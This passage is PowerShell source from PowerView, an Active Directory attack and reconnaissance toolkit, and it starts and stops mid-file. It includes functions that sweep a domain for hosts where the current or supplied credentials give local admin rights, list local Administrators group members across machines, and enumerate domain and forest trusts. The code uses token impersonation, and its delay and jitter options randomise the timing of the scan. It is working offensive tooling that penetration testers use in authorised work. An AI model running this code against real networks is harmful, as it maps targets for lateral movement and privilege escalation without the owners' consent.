+ +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-LocalAdminAccess + +Finds machines in the current domain the current user has admin access to. + +.EXAMPLE + +Find-LocalAdminAccess -Domain dev.testlab.local + +Finds machines in the dev.testlab.local domain the current user has admin access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-LocalAdminAccess -Domain testlab.local -Credential $Cred + +Finds machines in the testlab.local domain that the user with the specified -Credential +has admin access to. + +.OUTPUTS + +String + +Computer dnshostnames the current user has administrative access to. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Switch] + $CheckShareAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-LocalAdminAccess] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # check if the current user has local admin access to this server + $Access = Test-AdminAccess -ComputerName $TargetComputer + if ($Access.IsAdmin) { + $TargetComputer + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken + } + } + else { + Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainLocalGroupMember { +<# +.SYNOPSIS + +Enumerates the members of specified local group (default administrators) +for all the targeted machines on the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the members of the specified local +group (default of Administrators) for each machine using Get-NetLocalGroupMember. +By default, the API method is used, but this can be modified with '-Method winnt' +to use the WinNT service provider. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER GroupName + +The local group name to query for users. If not given, it defaults to "Administrators". + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainLocalGroupMember + +Enumerates the local group memberships for all reachable machines in the current domain. + +.EXAMPLE + +Find-DomainLocalGroupMember -Domain dev.testlab.local + +Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred + +Enumerates the local group memberships for all reachable machines the dev.testlab.local +domain using the alternate credentials. + +.OUTPUTS + +PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainLocalGroupMember] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $GroupName, $Method, $TokenHandle) + + # Add check if user defaults to/selects "Administrators" + if ($GroupName -eq "Administrators") { + $AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null) + $GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1] + } + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $NetLocalGroupMemberArguments = @{ + 'ComputerName' = $TargetComputer + 'Method' = $Method + 'GroupName' = $GroupName + } + Get-NetLocalGroupMember @NetLocalGroupMemberArguments + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'GroupName' = $GroupName + 'Method' = $Method + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +######################################################## +# +# Domain trust functions below. +# +######################################################## + +function Get-DomainTrust { +<# +.SYNOPSIS + +Return all domain trusts for the current domain or a specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current (or a remote) +domain using a number of methods. By default, and LDAP search using the filter +'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified +LDAP is used as well. If the -NET flag is specified, the .NET method +GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain +object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is +used to enumerate instead. + +.PARAMETER Domain + +Specifies the domain to query for trusts, defaults to the current domain. + +.PARAMETER API + +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in +.NET methods. + +.PARAMETER NET + +Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrust + +Return domain trusts for the current domain using built in .LDAP methods. + +.EXAMPLE + +Get-DomainTrust -NET -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain using .NET methods + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred + +Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP +queries, binding to the PRIMARY.testlab.local server for queries, and using the specified +alternate credenitals. + +.EXAMPLE + +Get-DomainTrust -API -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. + +.OUTPUTS + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields (default). + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'LDAP')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Parameter(ParameterSetName = 'NET')] + [Switch] + $NET, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Parameter(ParameterSetName = 'LDAP')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $TrustAttributes = @{ + [uint32]'0x00000001' = 'NON_TRANSITIVE' + [uint32]'0x00000002' = 'UPLEVEL_ONLY' + [uint32]'0x00000004' = 'FILTER_SIDS' + [uint32]'0x00000008' = 'FOREST_TRANSITIVE' + [uint32]'0x00000010' = 'CROSS_ORGANIZATION' + [uint32]'0x00000020' = 'WITHIN_FOREST' + [uint32]'0x00000040' = 'TREAT_AS_EXTERNAL' + [uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION' + [uint32]'0x00000100' = 'TRUST_USES_AES_KEYS' + [uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION' + [uint32]'0x00000400' = 'PIM_TRUST' + } + + $LdapSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PsCmdlet.ParameterSetName -ne 'API') { + $NetSearcherArguments = @{} + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + if ($PSBoundParameters['Credential']) { + $SourceDomain = (Get-Domain -Credential $Credential).Name + } + else { + $SourceDomain = (Get-Domain).Name + } + } + } + elseif ($PsCmdlet.ParameterSetName -ne 'NET') { + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + $SourceDomain = $Env:USERDNSDOMAIN + } + } + + if ($PsCmdlet.ParameterSetName -eq 'LDAP') { + # if we're searching for domain trusts through LDAP/ADSI + $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments + $SourceSID = Get-DomainSID @NetSearcherArguments + + if ($TrustSearcher) { + + $TrustSearcher.Filter = '(objectClass=trustedDomain)' + + if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } + else { $Results = $TrustSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + $DomainTrust = New-Object PSObject + + $TrustAttrib = @() + $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } + + $Direction = Switch ($Props.trustdirection) { + 0 { 'Disabled' } + 1 { 'Inbound' } + 2 { 'Outbound' } + 3 { 'Bidirectional' } + } + + $TrustType = Switch ($Props.trusttype) { + 1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } + 2 { 'WINDOWS_ACTIVE_DIRECTORY' } + 3 { 'MIT' } + } + + $Distinguishedname = $Props.distinguishedname[0] + $SourceNameIndex = $Distinguishedname.IndexOf('DC=') + if ($SourceNameIndex) { + $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' + } + else { + $SourceDomain = "" + } + + $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') + if ($SourceNameIndex) { + $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) + } + else { + $TargetDomain = "" + } + + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value + + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] + $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') + $DomainTrust + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" + } + } + $TrustSearcher.dispose() + } + } + elseif ($PsCmdlet.ParameterSetName -eq 'API') { + # if we're searching for domain trusts through Win32 API functions + if ($PSBoundParameters['Server']) { + $TargetDC = $Server + } + elseif ($Domain -and $Domain.Trim() -ne '') { + $TargetDC = $Domain + } + else { + # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior + $TargetDC = $Null + } + + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero + + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 + + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = '' + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq 0) { + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString + $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API') + $DomainTrust + } + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # if we're searching for domain trusts through .NET methods + $FoundDomain = Get-Domain @NetSearcherArguments + if ($FoundDomain) { + $FoundDomain.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET') + $_ + } + } + } + } +} + + +function Get-ForestTrust { +<# +.SYNOPSIS + +Return all forest trusts for the current forest or a specified forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current (or a remote) +forest using number of method using the .NET method GetAllTrustRelationships() on a +System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. + +.PARAMETER Forest + +Specifies the forest to query for trusts, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestTrust + +Return current forest trusts. + +.EXAMPLE + +Get-ForestTrust -Forest "external.local" + +Return trusts for the "external.local" forest. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestTrust -Forest "external.local" -Credential $Cred + +Return trusts for the "external.local" forest using the specified alternate credenitals. + +.OUTPUTS + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForestTrust.NET')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $NetForestArguments = @{} + if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential } + + $FoundForest = Get-Forest @NetForestArguments + + if ($FoundForest) { + $FoundForest.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET') + $_ + } + 